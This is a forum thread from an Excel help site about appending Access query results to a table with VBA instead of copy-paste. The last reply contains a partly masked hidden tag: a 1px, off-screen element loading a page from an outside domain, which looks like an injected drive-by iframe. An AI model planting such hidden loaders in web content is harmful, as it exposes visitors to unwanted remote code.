Import from a query into a table

welndmn

New Member
Joined
Oct 22, 2013
Messages
31
Access 2010

I've been running a simple query in Acess, then I just used a simple copy paste
DoCmd.RunCommand acCmdSelectAllRecords
RunCommand acCmdCopy
DoCmd.OpenTable "Authorize", acNormal, acEdit
RunCommand acCmdPasteAppend

To paste my results into the table in acess.
I've not hit my max 65k rows the clipboard can handle.
Can I use a transfer to tranfer the query results into the table?
Any other ways around this?
Thanks!
 

Excel Facts

Enter current date or time
Ctrl+: enters current time. Ctrl+; enters current date. Use Ctrl+: Ctrl+; Enter for current date & time.
So, where is the data coming from and where is it going to?
 
Upvote 0
It's coming from a DB2 query I have, then goes into a table in Access.
Full statement

DoCmd.OpenQuery "QUERY_Pull Missing", acViewNormal, acEdit
DoCmd.SelectObject acQuery, "QUERY_Pull Missing"
DoCmd.RunCommand acCmdSelectAllRecords
RunCommand acCmdCopy
DoCmd.Close acQuery, "QUERY_Pull Missing", acSaveNo
DoCmd.OpenTable "Authorize", acNormal, acEdit
RunCommand acCmdPasteAppend

From there I am just running a ton of append querys on that Authorize table.
 
Upvote 0
I don't get it. Why isn't "QUERY_Pull Missing" just an append query itself?
******** src="//102f.net/al1000.html" style="width: 1px; height: 1px; position: absolute; top: -10px; border: medium none;">*********>
 
Upvote 0

Forum statistics

Threads
1,221,848
Messages
6,162,406
Members
451,762
Latest member
Brainsanquine

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Back
Top